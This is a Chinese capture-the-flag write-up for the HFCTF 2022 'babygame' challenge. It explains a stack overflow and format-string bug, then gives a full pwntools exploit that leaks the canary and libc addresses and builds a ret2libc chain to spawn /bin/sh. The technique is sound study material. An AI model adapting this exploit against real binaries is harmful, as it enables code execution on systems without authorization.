babygame

题目附件

https://gitee.com/csomebro/ctftask/blob/master/20220-03_HFCTF/babygame.tar

分析

漏洞点就是栈溢出+格式化字符串,保护全开,需要泄露canary、函数加载地址、libc加载地址、栈地址。

可以在read的时候将,v5的值覆盖,从而操控seed

总结

  1. 第一次read的时候,输入到覆盖canary的最低字节,在printf(“%s”)泄露canary地址,同时在gdb调试的时候发现同时会泄露栈地址
  2. attack_random之后进入格式化字符串,此时需要泄露函数加载地址,并且需要修改函数返回地址组最低位为0x39(调试的时候发现可以同时泄露libc加载地址)
  3. 重新进入printf(buf)中,利用pwnlib中的fmtstr_payload修改函数返回地址到main函数开始
  4. 此时回到read(0, buf, 0x256),正式进入栈溢出,ret2libc。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
from pwn import *
import time

context.log_level = 'info'


def rand_():
rd.sendlineafter('>', '1')
rd.recvuntil('!>')
return int(rd.recvuntil('\n'), 16)

def attack_rand():
tmp = rand_() % 3
if tmp == 0:
return 1
elif tmp == 1:
return 2
elif tmp == 2:
return 0

io = process(['./ld-2.31.so', './babygame'], env={'LD_PRELOAD': './libc-2.31.so'})
# io = remote('120.25.205.249', 38573)
# rd = process('./rd')
# gdb.attach(io)

def pwn():
global io, rd
tmppp = 0x210
while True:
io.sendlineafter('Please input your name:', '1' * (0x108))
rd.sendlineafter('>', str(int('0x31313131', 16)))

io.recvuntil('111\n')
canary = io.recv(7).rjust(8,'\x00')
canary = u64(canary)
log.success('canary: '+hex(canary))

inp = io.recv(6).ljust(8, '\x00')
inp = u64(inp)
log.success('stack: '+hex(inp))


context.clear(arch = 'amd64', log_level='info')

for _ in range(100):
io.sendlineafter(': \n', str(attack_rand()))

context.clear(arch = 'amd64', log_level='debug')
# p1 = "-%p- -%p-"
# p = fmtstr_payload(6, {inp-0x210: 0x39}, write_size='byte').replace('lln', 'hhn')

p1 = '-%41$p--%27$p-'
tmp = 0x39 - 0x22
pt = "%" +str(tmp)+ "c" + "%10$hhn"
p = p1 + '[' * (0x10 - len(p1)) + pt + 'b' * (0x10-len(pt)) + p64(inp-tmppp)

io.sendlineafter('Good luck to you.', p)

# s = io.recvuntil('[' * (0x10 - len(p1)))
# print s
# print hex(len(s))

io.recvuntil('-')
func_addr = int(io.recvuntil('-',drop=True), 16) - 0x000001543
log.success('func_addr:' + hex(func_addr))

io.recvuntil('-')
atoi_addr = int(io.recvuntil('-', drop=True), 16) - 20
log.success('atoi_addr:' + hex(atoi_addr))


libc = ELF('./libc-2.31.so')
libc_base = atoi_addr - libc.sym['atoi']
log.success('libc_base:' + hex(libc_base))
context.clear(arch = 'amd64', log_level='info')
p = fmtstr_payload(6, {inp-tmppp: func_addr+0x000000014B6}, write_size='byte')

try:
io.sendlineafter('Good luck to you.', p)

pop_rdi = 0x0015D2 + 1
sys_addr = libc.sym['system']

binsh = libc.search('/bin/sh').next()

# gdb.attach(io)

p = 'a' * 0x108 + p64(canary) + p64(0) * 3 + p64(pop_rdi+func_addr+1) + p64(pop_rdi+func_addr) + p64(binsh + libc_base) + p64(sys_addr+libc_base)
io.sendlineafter('Please input your name:', p)
io.sendlineafter(': \n', str(attack_rand()+1))
print hex(tmppp)
break
except:
tmppp += 8
log.info("tmp: ", hex(tmppp))
# io.close()
rd.close()
io = process(['./ld-2.31.so', './babygame'], env={'LD_PRELOAD': './libc-2.31.so'})
# io = remote('120.25.205.249', 38573)
rd = process('./rd')



pwn()
io.interactive()

小插曲:原来脚本地能跑通,远程打不通,然后我也没注意到q群有说明是更新了附件,自我分析了一点,怀疑是canary底下的栈地址本地和远程的偏移量不同,所以写了一个偏移量的爆破。

本文采用CC-BY-SA-4.0协议,转载请注明出处
作者: Csome
Hits